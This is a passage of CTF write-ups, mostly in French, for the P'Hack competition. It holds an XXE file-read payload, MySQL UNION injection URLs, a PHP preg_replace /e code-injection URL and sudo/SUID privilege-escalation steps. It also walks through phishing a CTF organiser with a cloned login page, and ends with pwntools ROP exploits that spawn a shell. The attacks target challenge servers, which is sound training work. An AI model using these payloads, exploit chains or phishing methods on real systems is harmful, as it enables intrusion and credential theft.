Sending solution: {'token': '96cc6ed6b5eb45d795dc79eaaaa00930', 'solution': '↓↓↓↓→→↑↑↑↑→→↓↓→→→→↑↑→→↓↓→→↓↓↓↓↓↓↓↓↓↓←←↓↓←←↑↑←←↑↑→→↑↑→→↑↑←←←←↓↓←←↑↑←←↓↓←←↓↓↓↓↓↓↓↓↓↓→→→→↑↑→→↓↓→→→→→→→→↑↑→→→→↓↓'}
<Response [200]>
Congrats ! The flag is PHACK{M4zEs_4Re_7rUly_4m@zIng}

Flag: PHACK{M4zEs_4Re_7rUly_4m@zIng}

Ben & Harry - 128 points

Problème

Ben vient de découvrir un drôle de serveur qui semble envoyer des suites de chiffres aléatoires.

Harry est sûr que ça doit vouloir dire quelque chose.
Prouve que Harry a raison.

=== Connexion ===
Serveur : ben-and-harry.phack.fr
Port : 1664 

Résolution

En se connectant pour la première fois au serveur, voici ce qu'on obtient:

$ nc ben-and-harry.phack.fr 1664
{"b": 11, "code": "78 a0 2a 90 95 44 90 44 99 48 a6 2a 90 44 a0 a6 a4 47 2a 99 47 2a 93 99 48 94 40 2a 91 47 5a 99 58", "msg": "Answer me!"}
>>> 

Au début, je pensais que nous avions la main sur un interpréteur Python, mais taper n'importe quoi m'a fait mentir (et perdre la main):

>>> print(1)
✞ Nope, wrong answer...

En regardant le message donné, il n'est pas très compliqué de comprendre qu'il faut décoder la valeur de "code" avec la base "b", et un "msg" inutile. Voici un script possible en Python:

from pwn import *
import json

conn = remote("ben-and-harry.phack.fr", 1664)

while r := conn.recvline():
        print("[RECEIVED] ", r)

        try:
                r = r.decode("utf-8")

                if r.startswith(">>>"): # Si ce n'est pas le premier, on doit découper le début
                        r = json.loads(r[3:])
                else:
                        r = json.loads(r)


                res = ""
                for char in r["code"].split(): # Pour chaque caractère
                        res += chr(int(char, r["b"]))

                print(res)
                print();print() # Saute des lignes

                conn.send(bytes(res, "utf-8"))
        except Exception as e:
                if "PHACK{" in r: print("BINGO!!! FLAG:", r)
                exit(0)

Flag: PHACK{Av3z-v0us-L3s-b4s3s?}

Quick Response Code - 128 points

Problème

Philippe XXXIV, roi de Macédoine et descendant de Philippe II, souhaiterais cacher son mot de passe sur son ordinateur pour éviter qu'on puisse facilement lui dérober. Mais pas question pour Philippe d'utiliser un gestionnaire de mot de passe (qui serait digne de garder le précieux mot de passe d'un roi après tout ?). Il décide donc d'appliquer le célèbre principe de son arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-grand-père : diviser pour mieux... enfin vous avez compris. 

Résolution

En décompressant l'archive, on obtient un dossier avec près de 2000 codes QR... Vu la quantité d'images, on ne peut pas tout scanner à la main. Ma première approche a été de penser qu'un seul code contenait le flag, et donc voici ma première tentative:

from glob import iglob
from PIL import Image
from pyzbar.pyzbar import decode

for filepath in iglob("./out/*.png"):
        decoded = decode(Image.open(filepath))[0][0]
        if "PHACK{" in str(decoded):
                print(f"Données: {decoded} \nChemin: {filepath}")

Or, rien ne sort... Donc le flag n'est pas dans une seule image, mais peut-être dans plusieurs. J'ai donc ensuite décidé d'imprimmer chaque "decoded" à chaque itération, et dans les premières images, on trouve:

...
b'Nothing here (id = 0xbbe6e6d923ca40da91eef6aebfaa6331)'
b'Nothing here (id = 0x23dfffe762be47098abe11d250fcf409)'
b'Nothing here (id = 0xff8e269ec7a749ce9dbeae198d4aef15)'
b'Flag char 1 is "H" (id = 0x52e5067410b140aaba159ab3f589d9dc)'
b'Nothing here (id = 0xaeb605c2eab14e5380f5fb72b3d449b7)'
b'Nothing here (id = 0x364bab3371654dd1aacbdcce64da55b5)'
b'Nothing here (id = 0x62c9411324f34f7d874de30ab8126d78)'
...

Le flag semble être donné par caractère. J'ai décidé de le faire rapidement, à défaut d'être propre:

from glob import iglob
from PIL import Image
from pyzbar.pyzbar import decode

FLAG = [0]*100

for filepath in iglob("./out/*.png"):
	decoded = decode(Image.open(filepath))[0][0]

	if "Flag" in str(decoded):
		idx = int(decoded.split()[2])
		char = chr(decoded.split()[4][1])
		# print(idx, char)
		FLAG[idx] = char

print("".join(str(e)for e in FLAG))
$ python3 solve.py 
PHACK{MaaaYb3_Th1s_Waas_Overk1lL?!}00000000000000000000000000000000000000000000000000000000000000000

Flag: PHACK{MaaaYb3_Th1s_Waas_Overk1lL?!}

WikiBot - 256 points

Quand on lui envoie des messages (en privé), le bot nous permet de participer à un quiz (en répondant plusieurs fois "yes" à ses questions pour lancer celui-ci). Il s'agit comme il le dit lui-même de diverses questions simples sur des personnes connues et dont on peut trouver la réponse par une simple recherche Google de la question. Néanmoins nous ne disposons que de 3 secondes pour répondre correctement à celles-ci. En essayant le quiz quelques fois, on se retrouve face aux mêmes questions assez vite, ce qui laisse penser que la liste de celles-ci est définie (elles ne sont pas créées à la volée) et assez courte (une petite dizaine).

J'ai alors créé un selfbot (sur un nouveau compte Discord) répondant aux questions par la réponse qu'il connaît quand il détecte celles-ci, et, après 6 bonnes réponses de suite, le bot nous donne le flag

import discord
from discord.ext.commands import Bot
from discord.ext import commands
import asyncio

TOKEN = ""

bot = Bot(command_prefix = "!!!")

answers = {
    "Barack Obama" : "08/04/1961",
    "nationality of Gal Gadot" : "Israeli",
    "best CTF event": "P'HackCTF",
    "birthplace of Daniel Ricciardo" : "Perth",
    "How old is Omar Sy" : "43",
    "What is the full name of birth of Billie Eilish" : "Billie Eilish Pirate Baird O'Connell"
}

@bot.event
async def on_ready():
    print("BOT READY")

@bot.event
async def on_message(msg):
    if msg.author.id == 819936988634808340 and "**Question" in msg.content:
        for i in answers:
            if i in msg.content:
                await msg.channel.send(answers[i])
                break
        else:
            pass

bot.run(TOKEN, bot = False)

Le challenge voulait probablement nous faire automatiser l'obtention de la réponse but it just works.

Agent Secrétariat - 256 points

En cherchant un petit peu on trouve le profil Linkedin de la cible. On peut remarquer son adresse email, ainsi que diverses choses potentiellement intéressantes pour la duper (un potentiel amour pour les chiens, sa recherche d'un emploi combiné à ses compétences et sa localisation...).

Mais nous voulons lui soustraire des informations relatives à P'Hack, où elle est d'ailleurs "Directrice-fondatrice".

J'ai alors pris le parti d'imiter l'interface de login https://ctf.phack.fr/login. Pour ce faire j'ai utilisé le Social Engineer Toolkit que j'ai découvert au passage, et plus précisément sa fonctionnalité "Clone website", que j'ai utilisée en suivant un gentil article Medium après l'avoir installé.

En guise d'IP où faire tourner notre clone, si l'on ne dispose pas d'un VPS ou d'un NAT on peut gratuitement utiliser ngrok qui en faisant simplement ./ngrok 80 après avoir lié un compte nous offre une adresse.

Après avoir vérifié que le clone marche correctement (on arrive bien directement sur la bonne page (pour ce faire il faut rajouter le /index2.html ou sinon Jessica arrivera sur une redirection douteuse) et les noms d'utilisateur et mdp qu'on y rentre nous sont bien envoyés), il ne nous reste plus qu'à envoyer un mail à Jessica avec le lien de notre faux login en justifiant son utilisation et la connexion qui suit. J'ai personnellement pris le parti du travail sur le site dont un stagiaire demande des retours, et ai envoyé le mail suivant, avec une nouvelle adresse pour l'occasion :

screenshot gmail

Une fois les admins éveillés et cléments, Jessica nous envoya bien son nom d'utilisateur, et son mot de passe qui était le flag.

Aliens - 256 points

Problème

Enfiiiiin!! Nous avons finalement reçu une réponse à nos signaux intergalactiques. Un son a été capté et enregistré venant de l'espace. C'est sûr ça doit vouloir dire quelque chose.

Résolution

Ce challenge a réellement pris 30 secondes, c'est un challenge très classique en stéganographie quand il s'agit d'un .wav et qu'il ne donne pas beaucoup de points: le spectrogramme. Pour observer le spectrogramme d'un fichier son, il suffit de l'importer dans son logiciel favoris comme ici Audacity et de cliquer ici:

image-20210406201953871

Ce qui nous donne:

image-20210406202022399

30 secondes chrono!

Flag: PHACK{i7_s0uNds_lik3_w3jd3N3}

Alter Egg-o - 256 points

Le fichier (un PNG) est apparemment corrompu, si on y jette un coup d'oeil dans un éditeur de texte les headers (IHDR, IEND...) ont l'air épargnés, le seul problème flagrant est le début du fichier qui n'arbore pas la signature de tous les fichiers PNG : 89 50 4E 47 0D 0A 1A 0A (dont les 2e à 4e octets sont notamment 'PNG').

En remplaçant correctement ces 4 premiers octets (89 50 4E 47), le fichier peut être lu correctement et il s'agit du flag par dessus une image.

Caumunikassion - 128 points

Le site de l'épreuve est le site du CTF, en supposant qu'on ne regarde que la page d'accueil notre intérêt se porte sur le glitch de la date et le logo. Un rapide coup d'oeil au code-source (dans les sources JavaScript de la page) du glitch nous fait comprendre que celui-ci est aléatoire. Reste l'image.

En commentaire dans ses données Exif (vues avec exiftool) est un url pastebin, sur lequel on trouve le flag.

Chasse aux oeufs - 128 points

La couleur en hexadécimal d'un oeuf donne une partie du flag, et leur ordre est donné par les numéros des oeufs.

Strong Daddy - 128 points

On reconnaît la phraséologie de l'aviation.

Chaque mot correspond à une lettre, qui plus est sa première lettre.

Après ce passage on obtient un texte similaire et on applique la même méthode à nouveau, à l'exception de "ACCOLADE GAUCHE/DROITE" qui signifient {/} et des chiffres qui sont ... des chiffres.

Ce faisant on obtient finalement le flag.

un bon challenge de cryptographie

Une douce petite musique - 256 points

Problème

Avec vos talents de hacker vous interceptez un échange plutôt louche. 

Résolution

Ce challenge était très simple, mais nous a demandé beaucoup de temps... La première étape est plutôt évidente, puisqu'en ouvrant les deux fichiers mails, on remarque directement des grosses parties de base64 avec des noms de fichiers adjacents: "musique.mid" et "audio.ods". On peut récupérer les deux fichiers soit en ouvrant les fichiers dans une boîte mail comme Thunderbird, soit en transformant les base64 en fichier avec n'importe quel outil en ligne (ma solution, car plus rapide). Voici à quoi ressemble le tableur:

image-20210406202632094

Nous avons ensuite ouvert le fichier midi dans le premier site qui prétendait pouvoir le faire, et voici un extrait de ce que nous pouvons voir:

image-20210406202817520

Bien que je ne l'ai pas vu tout de suite, les notes indiques des positions dans le tableur, qui est lui-même une table de correspondances avec les lettres qu'il contient. La seule fourberie était de remarque que les numéros après les notes devait être décrémentés de 3 unités. Par exemple pour la première note G4, on obtient G1 en faisant notre petite opération et on remarque la case G1 dans le tableur est "P". Si on répète cette technique sur les six premières lettres, on obtient "PHACK{". Il aurait été possible d'automatiser la conversion pour toutes les notes, mais j'ai préféré le faire à la main et vu que les notes se répétaient souvent, c'est allé assez vite.

Flag: PHACK{_ALLUMER_LE_FEU_ALLUMER_LE_FEU_ET_FAIRE_DANSER_LES_DIABLES_ET_LES_DIEUX_ALLUMER_LE_FEU_ALLUMER_LE_FEU_ET_VOIR_GRANDIR_LA_FLAMME_DANS_VOS_YEUX_ALLUMER_LE_FEU_}

Sudoku - 128 points

Le nom du challenge, et ses tags, laissent savoir que celui-ci porte sur sudo. Une fois connecté par ssh, sudo -l nous informe que nous pouvons utiliser zip en tant que master auquel le fichier cible est lisible.

On peut donc zip le fichier en question en tant que master : sudo -u master zip archive ../master/flag.txt.

On peut ensuite lire le flag directement dans le zip.

To B, or ! to B - 128 points

Problème

Votre client vous remercie pour votre travail et vous assure qu'il a fait les modifications nécessaires pour améliorer la sécurité de son serveur applicatif.
Prouvez-lui que ce n'est toujours pas suffisant.


=== Connexion SSH ===
Login : padawan
Mdp : padawan
Serveur : toBOrNot2B.phack.fr

Résolution

En arrivant sur le serveur, voici ce qui nous est envoyé:

Bienvenue !

Le flag se trouve dans /home/master/flag.txt
Malheureusement, tu n'as pas les droits de le lire.

Trouves un moyen d'y accéder par toi même.

Bonne chance...



-bash-5.1$

Le challenge porte le tag suid. Il s'agit probablement d'une escalation de privilèges vers master ou plus.

On cherche les fichiers avec le bit SUID : find / -perm /4000 2> /dev/null. Le seul résultat est python3, qui nous permet d'exécuter du Python en tant que master.

Reste à l'utiliser pour lire le flag :

-bash-5.1$ cd ../master/
-bash-5.1$ python3 -c "with open('./flag.txt','r') as f: print(f.read())"
PHACK{U_4r3_hiM_bu7_h3's_n07_U}

Flag: PHACK{U_4r3_hiM_bu7_h3's_n07_U}

Sudoku v2 - 256 points

Le challenge et le note.txt nous informent des astérisques affichés lors de l'usage de sudo, dont on peut effectivement confirmer la présence en essayant. Un des tags du challenge est cve, Common Vulnerability Exposure, soient les vulnérabilités affectant un nombre conséquent de services et dont on garde donc trace. Avec sudo -V on obtient la version de sudo sur la machine. Avec cette information on peut chercher une CVE possible sur Google exploit-db parlant des astérisques et on trouve finalement la CVE-2019-18634 qui dispose même déjà d'un exploit tout prêt, dont les dépendances (socat) sont déjà sur la machine, bref le bonheur. On télécharge l'exploit et on l'exécute, et en quelques secondes on dispose d'un shell root, ce qui est plus que suffisant pour lire le flag.

Graduated - 256 points

Après s'être connecté via ssh on remarque diverses choses:

graduation.db constitue une base de données SQLite, dont on pourra éventuellement lire en clair les informations.

integrator.log nous informe du fonctionnement du système :

-bash-5.1$ head -n 20 integrator.log
02/04/2021 09:33:01 [+] Lancement de l'intégration
02/04/2021 09:33:01 [+] Création de la base de données.
02/04/2021 09:33:01 [+] Analye des fichiers dans "/home/teacher/evaluations/".
02/04/2021 09:33:01 [+] Fichier "eval.xml" en cours d'analyse.
02/04/2021 09:33:01 [+] Nouvelle évaluation ajoutée.
02/04/2021 09:33:01 [+] Fichier "eval.xml" analysé.
02/04/2021 09:33:01 [+] Intégration terminée


02/04/2021 09:34:01 [+] Lancement de l'intégration
02/04/2021 09:34:01 [+] Analye des fichiers dans "/home/teacher/evaluations/".
02/04/2021 09:34:01 [+] Intégration terminée


02/04/2021 09:35:01 [+] Lancement de l'intégration
02/04/2021 09:35:01 [+] Analye des fichiers dans "/home/teacher/evaluations/".
02/04/2021 09:35:01 [+] Intégration terminée


02/04/2021 09:36:01 [+] Lancement de l'intégration

On en déduit ainsi que toutes les minutes, un script analyse les nouveaux XML dans /home/teacher/evaluations/, où nous avons droit d'écriture étant connecté comme teacher, et après les avoir parsé les place très probablement dans la BDD SQLite où on retrouve les informations de eval.xml.

Le script réalisant cette intégration est integrator.py, lancé périodiquement via une crontab. Malheureusement nous n'avons pas les droits de lecture de celui-ci. Sans donc pouvoir en être certains, on peut suspecter une vulnérabilité XXE dans le parser XML du script, qu'on pourrait utiliser pour lire des fichiers avec ses privilèges.

On place donc un XML malicieux dans le dossier analysé périodiquement, en se basant sur le template gentiment fourni pour ne pas avoir de problèmes avec la BDD :

echo '<?xml version="1.0" encoding="utf-8"?>
> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///home/rector/flag.txt"> ]>
> 
> <evaluation>
>   <student>
>     <firstname>Xavier</firstname>
>     <lastname>DUPONT DE L</lastname>
>   </student>
>   <grade>15</grade>
>   <subject>Biologie</subject>
>   <teacher>
>     <firstname>Emile</firstname>
>     <lastname>LOUIS</lastname>
>   </teacher>
>   <comment>&ent;</comment>
> </evaluation>
> ' > evaluations/TEST1.xml

Après avoir constaté l'analyse de notre XML dans integrator.log, on peut lire le flag dans la BDD avec cat graduation.db.

Hello World - 32 points

On suit les instructions du challenge jusqu'à atteindre le flag : à chaque étape on a un stepI-XXXXXX.php qui est l'étape suivante. La plupart se fait aisément en utilisant les outils de développeur sur un navigateur comme Firefox ou Chrome. Pour crack le hash MD5 on peut utiliser crackstation et pour décoder du Base64 on peut par exemple faire echo "base64" | base64 -d dans un shell.

Wall-E - 64 points

Le challenge porte le nom d'un robot, on pense à regarder /robots.txt.

User-Agent: WallEbot
Allow: /index.html
Disallow: /8059dd56-3bfb-11eb-adc1-0242ac120002/nothing-here.txt

il y a bien une route intéressante et celle-ci donne le flag.

VOD - 256 points

L'adresse .onion indique que l'on doit utiliser le réseau Tor. Pour la simplicité j'ai commencé par (et n'ai finalement utilisé que cela) Tor Browser, soit Firefox pour Tor. Quand on arrive sur le bon site (et pas ce que regarde les vieux monsieurs la nuit sur certains canaux de la TNT) on est face à une liste de produits, ici des services de VOD, sur lesquels on obtient plus d'informations en cliquant, ce qui nous amène au même url mais avec ?id=n. Il peut s'agir d'une base de données et derrière d'une injection SQL, ce qui est confirmé en ajoutant une simple apostrophe ' après le chiffre. On obtient alors une erreur mentionnant l'utilisation de data_seek dans ce qui est un fichier PHP. La documentation nous dit alors qu'il s'agit de MySQL.

À partir de là on doit pouvoir utiliser sqlmap même à travers Tor mais j'ai simplement suivi des étapes analogues à celles de PayloadsAllTheThings pour les injections MySQL :

http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=0%27%20UNION%20SELECT%201,2,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata%20--+ donne les BDD : |information_schema|,|vod|

http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=0%27%20UNION%20SELECT%201,2,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=%22vod%22%20--+

donne les tables de la BDD vod : |platform|,|s3cr3t|

http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=0%27%20UNION%20SELECT%201,2,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=%22s3cr3t%22%20--+ donne les fields de la table s3cr3t : |id|,|flag|

Reste à prendre flag dans la table s3cr3t : http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=0%27%20UNION%20SELECT%201,2,flag%20from%20s3cr3t%20--+

Fuzz Me - 128 points

challenge web de fuzzing.

en inspectant la page, on trouve un endpoint /api/login. On a donc une api à explorer. avec gobuster, on trouve /api/sessions et /api/user.

  • /api/sessions:
	
{"sessions":	
0	"eyJ1c2VyIjogIjY1YTlmYzRjLWIwNDYtNDE3OS1iMDE5LTdlMDcxZDFjZTc5ZiIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIitBSEc5NUZKeHRzNGoxNFJuTHdxaEE9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfmI0ifQ=="
1	"eyJ1c2VyIjogIjkwNjhjY2ZmLTBkOTgtNGViNS1iMjdkLTQyZDcwZTQyYmRkZCIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIkkvS3M1clg0SGJSb2hhbm9pc1lUOXc9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfpoQifQ=="
2	"eyJ1c2VyIjogImIwZWU5YjNjLTdkNjMtNDQwZi05ZDcyLWM3NTg2ODZiMDVlNCIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIjYwY3k4bUJrM3luOFNhRisvSGVhUHc9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfkp0ifQ=="
3	"eyJ1c2VyIjogIjEzYTE0NTExLTc3NzktNDJmNS04MjliLTc1OTc3MzRjODc0YyIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIjRVQWljczZ3TzkvVzM3Qjd2Q0NQT3c9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfmYsifQ=="
4	"eyJ1c2VyIjogIjg3MmUwYTQxLTk5ZTUtNGU3Ni1hNWU3LTk2MDkzNzU3ZmE4MSIsICJpc0FkbWluIiA6IHRydWUsICJ3ZWlyZF9zdHVmZiIgOiAiU1NCaGJTQjBhR1VnWVdSdGFXNGdJUT09IiwgImhhcHB5X3NtaWxleSIgOiAi8J+RqOKAjfCfjbMifQ=="
5	"eyJ1c2VyIjogIjk2OGYyZTlkLTI3YzEtNDUwMy05NzM5LTNiMWM4NjMwNjU2NCIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIllOK1pWNWxTMkZTNjlaMmhmd1RaT3c9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfjIgifQ=="
6	"eyJ1c2VyIjogIjViNTgwMDcyLTM2YzAtNDU0Yi04NThiLTVmZmJjOTRiNjgyNSIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIkZkNWlPVU9qMDJrZmU0aDMyOGplNHc9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfkoMifQ=="}

Encodé en base64, en décodant, on obtient:

b'{"user": "65a9fc4c-b046-4179-b019-7e071d1ce79f", "isAdmin" : false, "weird_stuff" : "+AHG95FJxts4j14RnLwqhA==", "happy_smiley" : "\xf0\x9f\x98\x8d"}'
b'{"user": "9068ccff-0d98-4eb5-b27d-42d70e42bddd", "isAdmin" : false, "weird_stuff" : "I/Ks5rX4HbRohanoisYT9w==", "happy_smiley" : "\xf0\x9f\xa6\x84"}'
b'{"user": "b0ee9b3c-7d63-440f-9d72-c758686b05e4", "isAdmin" : false, "weird_stuff" : "60cy8mBk3yn8SaF+/HeaPw==", "happy_smiley" : "\xf0\x9f\x92\x9d"}'
b'{"user": "13a14511-7779-42f5-829b-7597734c874c", "isAdmin" : false, "weird_stuff" : "4UAics6wO9/W37B7vCCPOw==", "happy_smiley" : "\xf0\x9f\x99\x8b"}'
b'{"user": "872e0a41-99e5-4e76-a5e7-96093757fa81", "isAdmin" : true, "weird_stuff" : "SSBhbSB0aGUgYWRtaW4gIQ==", "happy_smiley" : "\xf0\x9f\x91\xa8\xe2\x80\x8d\xf0\x9f\x8d\xb3"}'
b'{"user": "968f2e9d-27c1-4503-9739-3b1c86306564", "isAdmin" : false, "weird_stuff" : "YN+ZV5lS2FS69Z2hfwTZOw==", "happy_smiley" : "\xf0\x9f\x8c\x88"}'
b'{"user": "5b580072-36c0-454b-858b-5ffbc94b6825", "isAdmin" : false, "weird_stuff" : "Fd5iOUOj02kfe4h328je4w==", "happy_smiley" : "\xf0\x9f\x92\x83"}'

On a un utilisateur qui est admin. On va tenter de l'exploiter.

  • /api/user:
{"error":	"Paramètre manquant !"}

Comme les utilisateurs sont stockés sous forme d'UUID, on peut tester le paramètre ?uuid. curl "http://fuzz-me.phack.fr/api/user?uuid=872e0a41-99e5-4e76-a5e7-96093757fa81"

{"info": {"name" : "Biden", "firstname" : "Joe", "login" : "admin", "password" : "NeOIsTh3T4rget<3", "description":"Président, tout simplement."}}

En se connectant avec le login/password, on obtient finalement le flag.

Harduino - 256 points

On est face à une jolie interface qui fait afficher du texte sur une Arduino imaginaire.

En regardant les requêtes on constate que l'affichage est réalisé par une page PHP, dont l'url exact nous est d'ailleurs donné, ainsi que le code à l'accueil.

On constate de plus que l'argument url message, qui constitue ce qui sera affiché, est passé, après se voir ajouter à l'avant et à l'arrière des guillemets à une regex finissant par /e dans preg_replace. La documentation PHP nous informe qu'il s'agit d'un modifier déprécié permettant d'utiliser du code PHP dans la regex.

On va donc ajouter des guillemets afin d'écrire du code qui sera évalué en tant que tel, lisant le flag, qu'on concaténe aux deux chaînes vides qu'on créé autour : ".file_get_contents('../../../../flag.txt')."

http://harduino.phack.fr/workspace/apps/arduino/arduino.php?message=%22.file_get_contents(%27../../../../flag.txt%27).%22

affiche lentement le flag sur l'écran LCD.

Pwn - Controller

The challenge gives us a file named controller and the libc used. So we tell pwntools to load them.

elf = ELF("controller")
elf_rop = ROP(elf)
libc = ELF("libc.so.6")

We need to find a vulnerability, so first thing we do is disassemble the controller executable and search for any weird code. Inside the calculator function we can find the usage of a scanf using the "%s" formatter to some address on the stack. This means that we can write as much data as we want, this allows us to rewrite the stack frames to execute the functions we want.

To access this overflow we need to go through the report problem section of the program.

This part is accessible if we somehow find an operation with two numbers below or equal to 0x45 that gives us 65338. If any of these two number is above it gives us an error "We cannot use these many resources at once" and exits.

A scanf with the "%d" formatter is used to retrieve both numbers. This allows us to pass negative numbers.

So here comes the hardest maths of the whole ctf (including the crypto challenges).

We will use a multiplication and we need to find a and b both under 70 that when multiplied together gives 65338 so here is our difficult computation -32669 * -2 = 65338.

Now that we answered this difficult math question, we navigate the menus until we are asked for this payload.

def prepare_overflow():
    conn.recvuntil("Insert the amount of 2 different types of recources: ")

    # Choose the two magic numbers
    conn.sendline("-32669 -2")
    conn.recvuntil("> ")

    # Choose to do a multiplication
    conn.sendline("3")
    conn.recvuntil("> ")

The scanf starts at [rbp - 0x28] so we need to fill the start of the payload with 0x28 garbage bytes.

offset_overflow = b"A" * (0x28)

The first thing we need to do is to retrieve to libc base address. This allows us to return to any function on the libc (ret2libc). This means that we can return to a function such as system and execute a shell.

def retrieve_libc_base():
    with log.progress("retrieving libc base") as progress:
        # The payload will consist of the beginning garbage bytes then we will
        # leak the value of the `puts` function on the global offset table.
        # To do this we'll to load the address from where to print in the `rdi`
        # register (which is the first argument) so we use a gadget that will
        # pop the next value from the stack.
        progress.status("forging rop")
        rop = offset_overflow
        rop += p64(elf_rop.find_gadget(['pop rdi', 'ret']).address)
        rop += p64(elf.got["puts"])

        # Then once the value we want is loaded into `rdi` we can return to the
        # puts function to print the value.
        rop += p64(elf.plt["puts"])

        # Finally we return to main to continue the execution with a known libc
        # address.
        rop += p64(elf.symbols["main"])

        progress.status("waiting for overflow preparation")
        prepare_overflow()

        progress.status("sending overflow")
        conn.sendline(rop)
        conn.recvline()

        # Now we retrieve the bytes that were written with `puts`.
        # We then remove the offset of the `puts` symbol inside the libc and we
        # now know the libc base address.
        progress.status("calculating libc base address")
        leak = conn.recvline().strip()
        leak = u64(leak.ljust(8, b"\x00"))
        libc.address = leak - libc.symbols["puts"]

Now that we know the libc base address, we need to open a shell to be able to print the flag.

def retrieve_shell():
    with log.progress("retrieving a shell") as progress:
        # This time the rop will consist of a similar thing, loading the address
        # of the "/bin/sh" string into the `rdi` register.
        # We can search for this string inside the libc.
        progress.status("forging rop")
        rop = offset_overflow
        rop += p64(elf_rop.find_gadget(['ret']))
        rop += p64(elf_rop.find_gadget(['pop rdi', 'ret']).address)
        rop += p64(next(libc.search(b"/bin/sh")))

        # Now that the command is loaded, we continue by returning to the
        # `system` function.
        rop += p64(libc.sym["system"])

        # And finally we gracefully exit.
        rop += p64(libc.sym["exit"])

        progress.status("waiting for overflow preparation")
        prepare_overflow()

        progress.status("sending overflow")
        conn.sendline(rop)
        conn.recvline()

And finally, let's put all of this together and cat this flag!

retrieve_libc_base()
retrieve_shell()
conn.sendline("cat flag.txt")
log.success(conn.recvlineS())

Pwn - Minefield

For this challenge we don't have the libc so first thing we do is to disassemble the program to know what it does.

This one doesn't do a lot, it's not a buffer overflow or something like this. All it does is write what we want where we want.

First thing we need to do is navigate through the menus to plant the value we want.

progress.status("choose to plant a mine");
conn.recvlines(3)
conn.sendline('2')

Here it asks us what type of mine we want to plant but in reality it's where we want to set the value. One good candidate is where is stored the function that runs destructors at the end of the program, the value of this function is stored behind the __do_global_dtors_aux_fini_array_entry symbol.

progress.status("choose where to plant the mine")
conn.recvuntil("Insert type of mine: ")
conn.sendline('0x%x' % elf.symbols["__do_global_dtors_aux_fini_array_entry"])

Next we need to set the value we want, so what we'll send is the address of the function we wish to execute. By disassembling the binary we can find a function named _ that will print the flag to us, so here's our win function.

progress.status("choose what value to set the mine")
conn.recvuntil("Insert location to plant: ")
conn.sendline('0x%x' % elf.symbols["_"])

Now the bomb as been planted and we've the flag!

Pwn - System dROP

The name of this challenge gives us a big hint. It's talking about a ROP. Unfortunately for the price of this hint we don't know which libc is being used, so returning on a specific function of the libc is going to be hard.

By analysing the binary we find a main function which does a buffer overflow and then returns 1. This is really useful because it means when we'll start the rop, 1 will be loaded inside the rax register. And this is great because we can find a function named _syscall that finishes with a syscall instruction then a ret. Because the rax register will be set to 1, we can do a write syscall.

This will allow us to leak got entries.

def leak_got(entry):
    with log.progress("leaking got entry for %s" % entry) as progress:
        progress.status("forging rop")
        # Here we feed the overflow with garbage bytes until the return address.
        rop = b"A" * 0x28

        # Here we found a `pop rsi` instruction, followed by another `pop` and
        # finished with `ret`.
        # `rsi` is the second argument, so it's the address from where we want
        # to leak data.
        rop += p64(elf_rop.find_gadget(["pop rsi"]).address)
        rop += p64(elf.got[entry])
        rop += p64(0)

        # Setting the length of the `write` is not necessary because we keep the
        # length set for the read function.

        # Then we return to the `syscall` instruction
        rop += p64(0x0040053b)

        # And finally we restart to the main function
        rop += p64(elf.symbols["main"])

        progress.status("sending rop")
        conn.send(rop)

        progress.status("computing leak address")
        return u64(conn.recv(0x100)[:0x8])

Now that we can leak entries from the got table, we will leak two functions this way we can determine which libc is being used.

leak_main = leak_got("__libc_start_main")
leak_read = leak_got("read")

log.info("Leak __libc_start_main %x" % leak_main)
log.info("Leak read %x" % leak_read)

Once we've the address of __libc_start_main and read we can use a website like libc.blukat.me to find the libc currenly used. This gives us the following libc. All we know need is to set its base address using symbols we leaked.

libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so")
libc.address = leak_read - libc.symbols["read"]

Finally we'll retrieve a shell, for this a simple rop to load the "/bin/sh" string inside the rdi register and then return to the system function.

rop = b"A" * 0x28
rop += p64(elf_rop.find_gadget(['ret']).address)
rop += p64(elf_rop.find_gadget(["pop rdi", "ret"]).address)
rop += p64(next(libc.search(b"/bin/sh")))
rop += p64(libc.sym["system"])
rop += p64(libc.sym["exit"])
conn.send(rop)

Now that we have a shell, all we need is to cat the flag!

conn.sendline("cat flag.txt")
log.success(conn.recvlineS())

Pwn - Harvester

This challenge is harder than the two others, first thing it's a PIE. And it's full of canaries, so if we find a buffer overflow we'll need to set it to the correct value.

By exploring the binary we find two vulnerabilities.

  • The first one is format string vulnerability inside the fight function.
  • The second is a buffer overflow inside the stare function just large enough to overwrite one return address.

We can trigger the fight vulnerability when we want, but the stare one is only available if we have a specific amount of pie on us. Instead of farming pies, we found a logic bug inside the inventory function that allows us to drop a negative amount of pies.

So first thing to do is to leak some values from the stack, for this we did this function.

def format_exploit(progress, index):
    progress.status("selecting menu fight")
